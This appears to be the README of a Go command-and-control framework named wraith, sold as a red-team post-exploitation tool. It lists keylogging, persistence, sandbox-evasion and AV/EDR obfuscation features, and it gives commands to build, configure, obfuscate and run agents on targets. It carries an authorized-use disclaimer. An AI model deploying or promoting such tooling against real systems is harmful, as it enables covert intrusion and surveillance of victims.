Professional Command & Control Framework
⚠️ For authorized environments only — CTF, Red Team labs, Bug Bounty. Ethical use only.
wraith is a professional, full-featured Command & Control framework written
in Go.
Designed for red team operators who need a reliable, encrypted, and modular
post-exploitation platform — not just another PoC.
Built to integrate natively with shroud for payload obfuscation before deployment.
| Feature | Description |
|---|---|
| 🌐 Multi-Protocol | TCP, HTTP, HTTPS and DNS listeners |
| 🔒 AES-256-GCM | All agent ↔ server comms fully encrypted |
| 🖥️ Cross-Platform Agent | Linux, Windows, macOS (x86/x64) |
| 💉 Post-Exploitation Modules | Shell, Upload, Download, Screenshot, Keylogger, Pivot |
| 🔄 Persistence | crontab (Linux), Registry (Windows), launchd (macOS) |
| 🕵️ Sandbox Detection | VM/sandbox detection with auto-destruction |
| 🧬 shroud Integration | Payload obfuscation pre-deployment |
| 🖥️ Web Dashboard | Real-time operator UI via REST API |
| 🗄️ SQLite Logging | Full operation logging — agents, tasks, results |
| ⚡ Zero runtime bloat | Pure Go stdlib — minimal dependencies |
wraith/
├── cmd/
│ ├── server/ # Server entry point
│ └── agent/ # Agent entry point
├── server/
│ ├── listener/ # TCP / HTTP / HTTPS / DNS listeners
│ ├── handler/ # Agent & task management
│ ├── api/ # REST API
│ ├── crypto/ # TLS + AES-256-GCM
│ ├── db/ # SQLite persistence
│ └── logger/ # Operation logging
├── agent/
│ ├── comms/ # Communication channels
│ ├── modules/ # Post-exploitation modules
│ ├── evasion/ # Sandbox detection + shroud integration
│ └── crypto/ # Agent-side AES-256-GCM
└── dashboard/ # Web UI
git clone https://github.com/Kronoscba/wraith.git
cd wraith
go build ./...# Linux x64
GOOS=linux GOARCH=amd64 go build -o wraith-agent ./cmd/agent
# Windows x64
GOOS=windows GOARCH=amd64 go build -o wraith-agent.exe ./cmd/agent
# macOS x64
GOOS=darwin GOARCH=amd64 go build -o wraith-agent-macos ./cmd/agent./cmd/server/server
# Or with custom config:
cp server/config/config.json.example config.json
./cmd/server/serverEdit agent/config.go or set environment variables:
C2_ADDR=192.168.1.10:8080
SHARED_KEY=your-32-byte-key-here!!
INTERVAL=5
# Optional: obfuscate with shroud first
shroud -i wraith-agent -o wraith-agent-obf -e aes -k "your-32-byte-key-here!!"
# Run on target (authorized lab only)
./wraith-agenthttp://localhost:8000
| Protocol | Default Port | Use Case |
|---|---|---|
| TCP | 8080 | Fast, reliable comms |
| HTTP | 80 | Blends with web traffic |
| HTTPS | 443 | Encrypted + blends with web traffic |
| DNS | 53 | Bypasses most firewalls |
go test ./...ok github.com/Kronoscba/wraith/tests 1.010s
Automated pipeline on every push/PR to main:
go fmt ./...go vet ./...go build ./...go test ./...- Cross-compile check: Linux / Windows / macOS
| Tool | Purpose |
|---|---|
| shroud | AV/EDR evasion — obfuscate agent payload before deployment |
This tool is intended exclusively for:
- Capture The Flag (CTF) competitions
- Authorized Red Team engagements
- Security research in controlled lab environments
- Bug Bounty programs within scope
Unauthorized use against systems you do not own or have explicit permission to
test is illegal.
The author assumes no responsibility for misuse.
Gabriel — Offensive Security / Red Team